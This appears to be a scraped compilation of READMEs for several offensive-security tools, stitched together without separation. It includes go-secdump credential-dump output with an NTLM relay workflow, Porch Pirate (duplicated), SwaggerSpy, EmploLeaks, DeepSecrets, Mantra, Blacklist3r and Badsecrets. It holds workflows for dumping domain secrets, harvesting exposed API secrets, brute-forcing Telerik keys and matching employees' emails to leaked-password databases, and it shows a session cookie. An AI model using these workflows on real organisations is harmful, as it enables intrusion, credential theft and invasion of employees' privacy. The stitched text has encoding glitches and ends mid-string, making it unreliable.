YYYY/MM/DD HH:MM:SS smb [Notice] Client connected from 192.168.0.30:49805
YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) successfully authenticated as (domain.local\Administrator) against (192.168.0.100:445)!
Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0
2023/12/13 14:47:28 [Notice] [+] Signing is NOT required
2023/12/13 14:47:28 [Notice] [+] Login successful as domain.local\Administrator
[*] Dumping local SAM hashes
Name: Administrator
RID: 500
NT: 2727D7906A776A77B34D0430EAACD2C5
Name: Guest
RID: 501
NT: <empty>
Name: DefaultAccount
RID: 503
NT: <empty>
Name: WDAGUtilityAccount
RID: 504
NT: <empty>
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4
$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc 38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...
[*] DPAPI_SYSTEM
dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100
dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939
[*] NL$KM
NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74
[*] Dumping cached domain credentials (domain/username:hash)
DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab
...
Dump secrets using an upstream SOCKS5 proxy either for pivoting or to take advantage of Impacket's ntlmrelayx.py SOCKS server functionality.
When using ntlmrelayx.py as the upstream proxy, the provided username must match that of the authenticated client, but the password can be empty.
./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server
...
./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080
Porch Pirate started as a tool to quickly uncover Postman secrets, and has slowly begun to evolve into a multi-purpose reconaissance / OSINT framework for Postman. While existing tools are great proof of concepts, they only attempt to identify very specific keywords as "secrets", and in very limited locations, with no consideration to recon beyond secrets. We realized we required capabilities that were "secret-agnostic", and had enough flexibility to capture false-positives that still provided offensive value.
Porch Pirate enumerates and presents sensitive results (global secrets, unique headers, endpoints, query parameters, authorization, etc), from publicly accessible Postman entities, such as:
python3 -m pip install porch-pirate
The Porch Pirate client can be used to nearly fully conduct reviews on public Postman entities in a quick and simple fashion. There are intended workflows and particular keywords to be used that can typically maximize results. These methodologies can be located on our blog: Plundering Postman with Porch Pirate.
Porch Pirate supports the following arguments to be performed on collections, workspaces, or users.
--globals--collections--requests--urls--dump--raw--curlporch-pirate -s "coca-cola.com"
By default, Porch Pirate will display globals from all active and inactive environments if they are defined in the workspace. Provide a -w argument with the workspace ID (found by performing a simple search, or automatic search dump) to extract the workspace's globals, along with other information.
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8
When an interesting result has been found with a simple search, we can provide the workspace ID to the -w argument with the --dump command to begin extracting information from the workspace and its collections.
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --dump
Porch Pirate can be supplied a simple search term, following the --globals argument. Porch Pirate will dump all relevant workspaces tied to the results discovered in the simple search, but only if there are globals defined. This is particularly useful for quickly identifying potentially interesting workspaces to dig into further.
porch-pirate -s "shopify" --globals
Porch Pirate can be supplied a simple search term, following the --dump argument. Porch Pirate will dump all relevant workspaces and collections tied to the results discovered in the simple search. This is particularly useful for quickly sifting through potentially interesting results.
porch-pirate -s "coca-cola.com" --dump
A particularly useful way to use Porch Pirate is to extract all URLs from a workspace and export them to another tool for fuzzing.
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --urls
Porch Pirate will recursively extract all URLs from workspaces and their collections related to a simple search term.
porch-pirate -s "coca-cola.com" --urls
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --collections
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --requests
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --raw
porch-pirate -w WORKSPACE_ID
porch-pirate -c COLLECTION_ID
porch-pirate -r REQUEST_ID
porch-pirate -u USERNAME/TEAMNAME
Porch Pirate can build curl requests when provided with a request ID for easier testing.
porch-pirate -r 11055256-b1529390-18d2-4dce-812f-ee4d33bffd38 --curl
porch-pirate -s coca-cola.com --proxy 127.0.0.1:8080
p = porchpirate()
print(p.search('coca-cola.com'))
p = porchpirate()
print(p.collections('4127fdda-08be-4f34-af0e-a8bdc06efaba'))
p = porchpirate()
collections = json.loads(p.collections('4127fdda-08be-4f34-af0e-a8bdc06efaba'))
for collection in collections['data']:
requests = collection['requests']
for r in requests:
request_data = p.request(r['id'])
print(request_data)
p = porchpirate()
print(p.workspace_globals('4127fdda-08be-4f34-af0e-a8bdc06efaba'))
Other library usage examples can be located in the examples directory, which contains the following examples:
dump_workspace.pyformat_search_results.pyformat_workspace_collections.pyformat_workspace_globals.pyget_collection.pyget_collections.pyget_profile.pyget_request.pyget_statistics.pyget_team.pyget_user.pyget_workspace.pyrecursive_globals_from_search.pyrequest_to_curl.pysearch.pysearch_by_page.pyworkspace_collections.py
SwaggerSpy is a tool designed for automated Open Source Intelligence (OSINT) on SwaggerHub. This project aims to streamline the process of gathering intelligence from APIs documented on SwaggerHub, providing valuable insights for security researchers, developers, and IT professionals.
Swagger is an open-source framework that allows developers to design, build, document, and consume RESTful web services. It simplifies API development by providing a standard way to describe REST APIs using a JSON or YAML format. Swagger enables developers to create interactive documentation for their APIs, making it easier for both developers and non-developers to understand and use the API.
SwaggerHub is a collaborative platform for designing, building, and managing APIs using the Swagger framework. It offers a centralized repository for API documentation, version control, and collaboration among team members. SwaggerHub simplifies the API development lifecycle by providing a unified platform for API design and testing.
Performing OSINT on SwaggerHub is crucial because developers, in their pursuit of efficient API documentation and sharing, may inadvertently expose sensitive information. Here are key reasons why OSINT on SwaggerHub is valuable:
Developer Oversights: Developers might unintentionally include secrets, credentials, or sensitive information in API documentation on SwaggerHub. These oversights can lead to security vulnerabilities and unauthorized access if not identified and addressed promptly.
Security Best Practices: OSINT on SwaggerHub helps enforce security best practices. Identifying and rectifying potential security issues early in the development lifecycle is essential to ensure the confidentiality and integrity of APIs.
Preventing Data Leaks: By systematically scanning SwaggerHub for sensitive information, organizations can proactively prevent data leaks. This is especially crucial in today's interconnected digital landscape where APIs play a vital role in data exchange between services.
Risk Mitigation: Understanding that developers might forget to remove or obfuscate sensitive details in API documentation underscores the importance of continuous OSINT on SwaggerHub. This proactive approach mitigates the risk of unintentional exposure of critical information.
Compliance and Privacy: Many industries have stringent compliance requirements regarding the protection of sensitive data. OSINT on SwaggerHub ensures that APIs adhere to these regulations, promoting a culture of compliance and safeguarding user privacy.
Educational Opportunities: Identifying oversights in SwaggerHub documentation provides educational opportunities for developers. It encourages a security-conscious mindset, fostering a culture of awareness and responsible information handling.
By recognizing that developers can inadvertently expose secrets, OSINT on SwaggerHub becomes an integral part of the overall security strategy, safeguarding against potential threats and promoting a secure API ecosystem.
SwaggerSpy obtains information from SwaggerHub and utilizes regular expressions to inspect API documentation for sensitive information, such as secrets and credentials.
To use SwaggerSpy, follow these steps:
git clone https://github.com/UndeadSec/SwaggerSpy.git
cd SwaggerSpy
pip install -r requirements.txt
python swaggerspy.py searchterm
SwaggerSpy is intended for educational and research purposes only. Users are responsible for ensuring that their use of this tool complies with applicable laws and regulations.
Contributions to SwaggerSpy are welcome! Feel free to submit issues, feature requests, or pull requests to help improve this tool.
SwaggerSpy is developed and maintained by Alisson Moretto (UndeadSec)
I'm a passionate cyber threat intelligence pro who loves sharing insights and crafting cybersecurity tools.
SwaggerSpy is licensed under the MIT License. See the LICENSE file for details.
Special thanks to @Liodeus for providing project inspiration through swaggerHole.
To know more about our Attack Surface Management platform, check out NVADR.
This is a tool designed for Open Source Intelligence (OSINT) purposes, which helps to gather information about employees of a company.
The tool starts by searching through LinkedIn to obtain a list of employees of the company. Then, it looks for their social network profiles to find their personal email addresses. Finally, it uses those email addresses to search through a custom COMB database to retrieve leaked passwords. You an easily add yours and connect to through the tool.
To use this tool, you'll need to have Python 3.10 installed on your machine. Clone this repository to your local machine and install the required dependencies using pip in the cli folder:
cd cli
pip install -r requirements.txt
We know that there is a problem when installing the tool due to the psycopg2 binary. If you run into this problem, you can solve it running:
cd cli
python3 -m pip install psycopg2-binary`
To use the tool, simply run the following command:
python3 cli/emploleaks.py
If everything went well during the installation, you will be able to start using EmploLeaks:
___________ .__ .__ __
\_ _____/ _____ ______ | | ____ | | ____ _____ | | __ ______
| __)_ / \____ \| | / _ \| | _/ __ \__ \ | |/ / / ___/
| \ Y Y \ |_> > |_( <_> ) |_\ ___/ / __ \| < \___ \
/_______ /__|_| / __/|____/\____/|____/\___ >____ /__|_ \/____ >
\/ \/|__| \/ \/ \/ \/
OSINT tool 🕵 to chain multiple apis
emploleaks>
Right now, the tool supports two functionalities:
First, you must set the plugin to use, which in this case is linkedin. After, you should set your authentication tokens and the run the impersonate process:
emploleaks> use --plugin linkedin
emploleaks(linkedin)> setopt JSESSIONID
JSESSIONID:
[+] Updating value successfull
emploleaks(linkedin)> setopt li-at
li-at:
[+] Updating value successfull
emploleaks(linkedin)> show options
Module options:
Name Current Setting Required Description
---------- ----------------------------------- ---------- -----------------------------------
hide yes no hide the JSESSIONID field
JSESSIONID ************************** no active cookie session in browser #1
li-at AQEDAQ74B0YEUS-_AAABilIFFBsAAAGKdhG no active cookie session in browser #1
YG00AxGP34jz1bRrgAcxkXm9RPNeYIAXz3M
cycrQm5FB6lJ-Tezn8GGAsnl_GRpEANRdPI
lWTRJJGF9vbv5yZHKOeze_WCHoOpe4ylvET
kyCyfN58SNNH
emploleaks(linkedin)> run i mpersonate
[+] Using cookies from the browser
Setting for first time JSESSIONID
Setting for first time li_at
li_at and JSESSIONID are the authentication cookies of your LinkedIn session on the browser. You can use the Web Developer Tools to get it, just sign-in normally at LinkedIn and press right click and Inspect, those cookies will be in the Storage tab.
Now that the module is configured, you can run it and start gathering information from the company:
We created a custom workflow, where with the information retrieved by Linkedin, we try to match employees' personal emails to potential leaked passwords. In this case, you can connect to a database (in our case we have a custom indexed COMB database) using the connect command, as it is shown below:
emploleaks(linkedin)> connect --user myuser --passwd mypass123 --dbname mydbname --host 1.2.3.4
[+] Connecting to the Leak Database...
[*] version: PostgreSQL 12.15
Once it's connected, you can run the workflow. With all the users gathered, the tool will try to search in the database if a leaked credential is affecting someone:
An imortant aspect of this project is the use of the indexed COMB database, to build your version you need to download the torrent first. Be careful, because the files and the indexed version downloaded requires, at least, 400 GB of disk space available.
Once the torrent has been completelly downloaded you will get a file folder as following:
├── count_total.sh
├── data
│ ├── 0
│ ├── 1
│ │ ├── 0
│ │ ├── 1
│ │ ├── 2
│ │ ├── 3
│ │ ├── 4
│ │ ├─â&€ 5
│ │ ├── 6
│ │ ├── 7
│ │ ├── 8
│ │ ├── 9
│ │ ├── a
│ │ ├── b
│ │ ├── c
│ │ ├── d
│ │ ├── e
│ │ ├── f
│ │ ├── g
│ │ ├── h
│ │ ├── i
│ │ ├── j
│ │ ├── k
│ │ ├── l
│ │ ├── m
│ │ ├⠀─ n
│ │ ├── o
│ │ ├── p
│ │ ├── q
│ │ ├── r
│ │ ├── s
│ │ ├── symbols
│ │ ├── t
At this point, you could import all those files with the command create_db:
We are integrating other public sites and applications that may offer about a leaked credential. We may not be able to see the plaintext password, but it will give an insight if the user has any compromised credential:
Also, we will be focusing on gathering even more information from public sources of every employee. Do you have any idea in mind? Don't hesitate to reach us:
Or you con DM at @pastacls or @gaaabifranco on Twitter.
Porch Pirate started as a tool to quickly uncover Postman secrets, and has slowly begun to evolve into a multi-purpose reconaissance / OSINT framework for Postman. While existing tools are great proof of concepts, they only attempt to identify very specific keywords as "secrets", and in very limited locations, with no consideration to recon beyond secrets. We realized we required capabilities that were "secret-agnostic", and had enough flexibility to capture false-positives that still provided offensive value.
Porch Pirate enumerates and presents sensitive results (global secrets, unique headers, endpoints, query parameters, authorization, etc), from publicly accessible Postman entities, such as:
python3 -m pip install porch-pirateThe Porch Pirate client can be used to nearly fully conduct reviews on public Postman entities in a quick and simple fashion. There are intended workflows and particular keywords to be used that can typically maximize results. These methodologies can be located on our blog: Plundering Postman with Porch Pirate.
Porch Pirate supports the following arguments to be performed on collections, workspaces, or users.
--globals--collections--requests--urls--dump--raw--curlporch-pirate -s "coca-cola.com"By default, Porch Pirate will display globals from all active and inactive environments if they are defined in the workspace. Provide a -w argument with the workspace ID (found by performing a simple search, or automatic search dump) to extract the workspace's globals, along with other information.
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8When an interesting result has been found with a simple search, we can provide the workspace ID to the -w argument with the --dump command to begin extracting information from the workspace and its collections.
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --dumpPorch Pirate can be supplied a simple search term, following the --globals argument. Porch Pirate will dump all relevant workspaces tied to the results discovered in the simple search, but only if there are globals defined. This is particularly useful for quickly identifying potentially interesting workspaces to dig into further.
porch-pirate -s "shopify" --globalsPorch Pirate can be supplied a simple search term, following the --dump argument. Porch Pirate will dump all relevant workspaces and collections tied to the results discovered in the simple search. This is particularly useful for quickly sifting through potentially interesting results.
porch-pirate -s "coca-cola.com" --dumpA particularly useful way to use Porch Pirate is to extract all URLs from a workspace and export them to another tool for fuzzing.
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --urlsPorch Pirate will recursively extract all URLs from workspaces and their collections related to a simple search term.
porch-pirate -s "coca-cola.com" --urlsporch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --collectionsporch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --requestsporch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --rawporch-pirate -w WORKSPACE_IDporch-pirate -c COLLECTION_IDporch-pirate -r REQUEST_IDporch-pirate -u USERNAME/TEAMNAMEPorch Pirate can build curl requests when provided with a request ID for easier testing.
porch-pirate -r 11055256-b1529390-18d2-4dce-812f-ee4d33bffd38 --curlporch-pirate -s coca-cola.com --proxy 127.0.0.1:8080p = porchpirate()
print(p.search('coca-cola.com'))p = porchpirate()
print(p.collections('4127fdda-08be-4f34-af0e-a8bdc06efaba'))p = porchpirate()
collections = json.loads(p.collections('4127fdda-08be-4f34-af0e-a8bdc06efaba'))
for collection in collections['data']:
requests = collection['requests']
for r in requests:
request_data = p.request(r['id'])
print(request_data)p = porchpirate()
print(p.workspace_globals('4127fdda-08be-4f34-af0e-a8bdc06efaba'))Other library usage examples can be located in the examples directory, which contains the following examples:
dump_workspace.pyformat_search_results.pyformat_workspace_collections.pyformat_workspace_globals.pyget_collection.pyget_collections.pyget_profile.pyget_request.pyget_statistics.pyget_team.pyget_user.pyget_workspace.pyrecursive_globals_from_search.pyrequest_to_curl.pysearch.pysearch_by_page.pyworkspace_collections.py
Existing tools don't really "understand" code. Instead, they mostly parse texts.
DeepSecrets expands classic regex-search approaches with semantic analysis, dangerous variable detection, and more efficient usage of entropy analysis. Code understanding supports 500+ languages and formats and is achieved by lexing and parsing - techniques commonly used in SAST tools.
DeepSecrets also introduces a new way to find secrets: just use hashed values of your known secrets and get them found plain in your code.
Under the hood story is in articles here: https://hackernoon.com/modernizing-secrets-scanning-part-1-the-problem
Pff, is it still regex-based?
Yes and no. Of course, it uses regexes and finds typed secrets like any other tool. But language understanding (the lexing stage) and variable detection also use regexes under the hood. So regexes is an instrument, not a problem.
Why don't you build true abstract syntax trees? It's academically more correct!
DeepSecrets tries to keep a balance between complexity and effectiveness. Building a true AST is a pretty complex thing and simply an overkill for our specific task. So the tool still follows the generic SAST-way of code analysis but optimizes the AST part using a different approach.
I'd like to build my own semantic rules. How do I do that?
Only through the code by the moment. Formalizing the rules and moving them into a flexible and user-controlled ruleset is in the plans.
I still have a question
Feel free to communicate with the maintainer
From Github via pip
$ pip install git+https://github.com/avito-tech/deepsecrets.git
From PyPi
$ pip install deepsecrets
The easiest way:
$ deepsecrets --target-dir /path/to/your/code --outfile report.json
This will run a scan against /path/to/your/code using the default configuration:
Report will be saved to report.json
Run deepsecrets --help for details.
Basically, you can use your own ruleset by specifying --regex-rules. Paths to be excluded from scanning can be set via --excluded-paths.
The built-in ruleset for regex checks is located in /deepsecrets/rules/regexes.json. You're free to follow the format and create a custom ruleset.
Example ruleset for regex checks is located in /deepsecrets/rules/regexes.json. You're free to follow the format and create a custom ruleset.
There are several core concepts:
FileTokenizerTokenEngineFindingScanModeJust a pythonic representation of a file with all needed methods for management.
A component able to break the content of a file into pieces - Tokens - by its logic. There are four types of tokenizers available:
FullContentTokenizer: treats all content as a single token. Useful for regex-based search.PerWordTokenizer: breaks given content by words and line breaks.LexerTokenizer: uses language-specific smarts to break code into semantically correct pieces with additional context for each token.A string with additional information about its semantic role, corresponding file, and location inside it.
A component performing secrets search for a single token by its own logic. Returns a set of Findings. There are three engines available:
RegexEngine: checks tokens' values through a special rulesetSemanticEngine: checks tokens produced by the LexerTokenizer using additional context - variable names and valuesHashedSecretEngine: checks tokens' values by hashing them and trying to find coinciding hashes inside a special rulesetThis is a data structure representing a problem detected inside code. Features information about the precise location inside a file and a rule that found it.
This component is responsible for the scan process.
PerFileAnalyzer - the method called against each file, returning a list of findings. The primary usage is to initialize necessary engines, tokenizers, and rulesets.The current implementation has a CliScanMode built by the user-provided config through the cli args.
The project is supposed to be developed using VSCode and 'Remote containers' feature.
Steps:
The tool in question was created in Go and its main objective is to search for API keys in JavaScript files and HTML pages.
It works by checking the source code of web pages and script files for strings that are identical or similar to API keys. These keys are often used for authentication to online services such as third-party APIs and are confidential and should not be shared publicly.
By using this tool, developers can quickly identify if their API keys are leaking and take steps to fix the problem before they are compromised. Furthermore, the tool can be useful for security officers, who can use it to verify that applications and websites that use external APIs are adequately protecting their keys.
In summary, this tool is an efficient and accurate solution to help secure your API keys and prevent sensitive information leaks.
git clone https://github.com/MrEmpy/Mantra
cd Mantra
make
./build/mantra-amd64-linux -h
The goal of this project is to accumulate the secret keys / secret materials related to various web frameworks, that are publicly available and potentially used by developers. These secrets will be utilized by the Blacklist3r tools to audit the target application and verify the usage of these pre-published keys.
We are releasing this project with.Net machine key tool to identify usage of pre-shared Machine Keys in the application for encryption and decryption of forms authentication cookie.
Note: Requires Visual Studio 2019, not 2022. Visual Studio 2022 does not support .NET Framework 4.5, which this repo relies on.
A pure python library for identifying the use of known or very weak cryptographic secrets across a variety of platforms. The project is designed to be both a repository of various "known secrets" (for example, ASP.NET machine keys found in examples in tutorials), and to provide a language-agnostic abstraction layer for identifying their use.
Knowing when a 'bad secret' was used is usually a matter of examining some cryptographic product in which the secret was used: for example, a cookie which is signed with a keyed hashing algorithm. Things can get complicated when you dive into the individual implementation oddities each platform provides, which this library aims to alleviate.
Check out our full blog post on the Black Lantern Security blog!
Inspired by Blacklist3r, with a desire to expand on the supported platforms and remove language and operating system dependencies.
| Name | Description |
|---|---|
| ASPNET_Viewstate | Checks the viewstate/generator against a list of known machine keys. |
| Telerik_HashKey | Checks patched (2017+) versions of Telerik UI for a known Telerik.Upload.ConfigurationHashKey |
| Telerik_EncryptionKey | Checks patched (2017+) versions of Telerik UI for a known Telerik.Web.UI.DialogParametersEncryptionKey |
| Flask_SignedCookies | Checks for weak Flask cookie signing password. Wrapper for flask-unsign |
| Peoplesoft_PSToken | Can check a peoplesoft PS_TOKEN for a bad/weak signing password |
| Django_SignedCookies | Checks django's session cookies (when in signed_cookie mode) for known django secret_key |
| Rails_SecretKeyBase | Checks Ruby on Rails signed or encrypted session cookies (from multiple major releases) for known secret_key_base |
| Generic_JWT | Checks JWTs for known HMAC secrets or RSA private keys |
| Jsf_viewstate | Checks Both Mojarra and Myfaces implimentations of Java Server Faces (JSF) for use of known or weak secret keys |
| Symfony_SignedURL | Checks symfony "_fragment" urls for known HMAC key. Operates on Full URL, including hash |
| Express_SignedCookies | Checks express.js signed cookies and session cookies for known 'session secret' |
| Laravel_SignedCookies | Checks 'laravel_session' cookies for known laravel 'APP_KEY' |
We have a pypi package, so you can just do pip install badsecrets to make use of the library.
The absolute easiest way to use Badsecrets is by simply running badsecrets after doing a pip install:
pip install badsecrets
badsecrets eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo
This is doing the same thing as the cli.py example shown below.
To use the examples, after doing the pip install just git clone the repo and cd into the badsecrets directory:
git clone https://github.com/blacklanternsecurity/badsecrets.git
cd badsecrets
The commands in the example section below assume you are in this directory.
If you are using the Badsecrets BBOT module, you don't need to do anything else - BBOT will install the package for you.
Bad secrets includes an example CLI for convenience when manually checking secrets. It also has a URL mode, which will connect to a target and attempt to carve for cryptographic products and check any it finds against all modules.
python ./badsecrets/examples/cli.py eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCopython ./badsecrets/examples/cli.py --url http://example.com/contains_bad_secret.htmlYou can also set a custom user-agent with --user-agent "user-agent string" or a proxy with --proxy http://127.0.0.1 in this mode.
Example output:
$ python ./badsecrets/examples/cli.py eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo
badsecrets - example command line interface
***********************
Known Secret Found!
Detecting Module: Generic_JWT
Secret: 1234
Details: {'Issuer': 'Issuer', 'Username': 'BadSecrets', 'exp': 1593133483, 'iat': 1466903083, 'jwt_headers': {'alg': 'HS256'}}
***********************Bad secrets includes a fully functional CLI example which replicates the functionality of blacklist3r in python badsecrets/examples/blacklist3r.
python ./badsecrets/examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
python ./badsecrets/examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AEFully functional CLI example for identifying known Telerik Hash keys and Encryption keys for Post-2017 versions (those patched for CVE-2017-9248), and brute-forcing version / generating exploitation DialogParameters values.
python ./badsecrets/examples/telerik_knownkey.py --url http://vulnerablesite/Telerik.Web.UI.DialogHandler.aspxOptionally include ASP.NET MachineKeys with --machine-keys (Will SIGNIFICANTLY increase brute-forcing time)
Brute-force detection of Symfony known secret key when "_fragment" URLs are enabled, even when no example URL containing a hash can be located. Relevent Blog Post.
python ./badsecrets/examples/symfony_knownkey.py --url https://localhost/One of the best ways to use Badsecrets, especially for the ASPNET_Viewstate and Jsf_viewstate modules is with the Badsecrets BBOT module. This will allow you to easily check across thousands of systems in conjunction with subdomain enummeration.
bbot -f subdomain-enum -m badsecrets -t evil.corp
See if a token or other cryptographic product was produced with a known key
from badsecrets import modules_loaded
Django_SignedCookies = modules_loaded["django_signedcookies"]
ASPNET_Viewstate = modules_loaded["aspnet_viewstate"]
Flask_SignedCookies = modules_loaded["flask_signedcookies"]
Peoplesoft_PSToken = modules_loaded["peoplesoft_pstoken"]
Telerik_HashKey = modules_loaded["telerik_hashkey"]
Telerik_EncryptionKey = modules_loaded["telerik_encryptionkey"]
Rails_SecretKeyBase = modules_loaded["rails_secretkeybase"]
Generic_JWT = modules_loaded["generic_jwt"]
Jsf_viewstate = modules_loaded["jsf_viewstate"]
Symfony_SignedURL = modules_loaded["symfony_signedurl"]
Express_SignedCookies = modules_loaded["express_signedcookies"]
Laravel_SignedCookies = modules_loaded["laravel_signedcookies"]
x = ASPNET_Viewstate()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("AgF5WuyVO11CsYJ1K5rjyuLXqUGCITSOapG1cYNiriYQ6VTKochMpn8ws4eJRvft81nQIA==","EDD8C9AE")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Telerik_HashKey()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("vpwClvnLODIx9te2vO%2F4e06KzbKkjtwmNnMx09D1Dmau0dPliYzgpqB9MnEqhPNe3fWemQyH25eLULJi8KiYHXeHvjfS1TZAL2o5Gku1gJbLuqusRXZQYTNlU2Aq4twXO0o0CgVUTfknU89iw0ceyaKjSteOhxGvaE3VEDfiKDd8%2B9j9vD3qso0mLMqn%2Btxirc%2FkIq5oBbzOCgMrJjkaPMa2SJpc5QI2amffBJ%2BsAN25VH%2BwabEJXrjRy%2B8NlYCoUQQKrI%2BEzRSdBsiMOxQTD4vz2TCjSKrK5JEeFMTyE7J39MhXFG38Bq%2FZMDO%2FETHHdsBtTTkqzJ2odVArcOzrce3Kt2%2FqgTUPW%2BCjFtkSNmh%2FzlB9BhbxB1kJt1NkNsjywvP9j7PvNoOBJsa8OwpEyrPTT3Gm%2BfhDwtjvwpvN7l7oIfbcERGExAFrAMENOOt4WGlYhF%2F8c9NcDv0Bv3YJrJoGq0rRurXSh9kcwum9nB%2FGWcjPikqTDm6p3Z48hEnQCVuJNkwJwIKEsYxJqCL95IEdX3PzR81zf36uXPlEa3YdeAgM1RD8YGlwlIXnrLhvMbRvQW0W9eoPzE%2FjP68JGUIZc1TwTQusIWjnuVubFTEUMDLfDNk12tMwM9mfnwT8lWFTMjv9pF70W5OtO7gVN%2BOmCxqAuQmScRVExNds%2FF%2FPli4oxRKfgI7FhAaC%2Fu1DopZ6vvBdUq1pBQE66fQ9SnxRTmIClCpULUhNO90ULTpUi9ga2UtBCTzI8z6Sb6qyQ52NopNZMFdrn9orzdP8 oqFeyYpF%2BQEtbp%2F5AMENkFkWUxHZn8NoSlO8P6G6ubSyDdY4QJPaFS4FxNhhm85WlZC9xfEZ1AGSSBOu9JJVYiKxXnL1yYLqrlWp5mfBHZeUBwEa%2FMjGxZEVYDhXo4PiU0jxN7fYmjaobp3DSgA5H3BcFuNG5d8CUnOlQcEie5b%2BUHOpI9zAk7qcuEUXbaZ5Mvh0t2jXCRALRKYDyBdbHlWAFo10dTIM6L3aSTM5uEz9%2FalXLXoWlMo7dTDpuO5bBfTq7YkoPExL3g3JJX47UhuLq85i3%2Bzxfvd7r%2Fmid69kbD3PnX%2Bj0QxaiShhyOZg6jl1HMeRRXvZap3FPCIfxbCf7j2TRqB5gYefBIIdGYjrdiL6HS8SbjXcROMwh2Fxnt505X4jmkmDcGmneU3z%2B84TSSFewcSpxGEGvHVkkU4OaT6vyFwsxCmdrR187tQZ7gn3ZkAiTps%2FfOPcL5QWXja06Z%2FHT3zboq6Hj9v9NBHzpC1eAK0YN8r4V2UMI3P0%2FsIPQYXhovoeLjJwq6snKZTX37ulE1mbS1uOY%2BZrvFYbLN5DdNL%2B%2Bl%2F%2BcWIpc0RSYBLo19xHpKeoeLjU2sxaYzK%2B92D4zKANdPPvsHPqJD1Y%2FBwCL%2FfZKaJfRK9Bj09ez1Z1ixTEKjIRCwuxijnJGq33faZchbwpMPpTfv43jEriGwXwoqOo9Mbj9ggPAil7O81XZxNT4vv4RoxXTN93V100rt3ClXauL%2BlNID%2BseN2CEZZqnygpTDf2an%2FVsmJGJJcc0goW3l43mhx2U79zeuT94cFPGpvITEbMtjmuNsUbOBuw6nqm5rAs%2FxjIsDRqfQxGQWfS0kuwuU6RRmiME2Ps0NrBENIbZzcbgw6%2BRIwClWkvEG%2BK%2FPdcAdfmRkAPWUNadxnhjeU2jNnzI1yYNIOhziUBPxgFEcAT45E7rWvf8gh 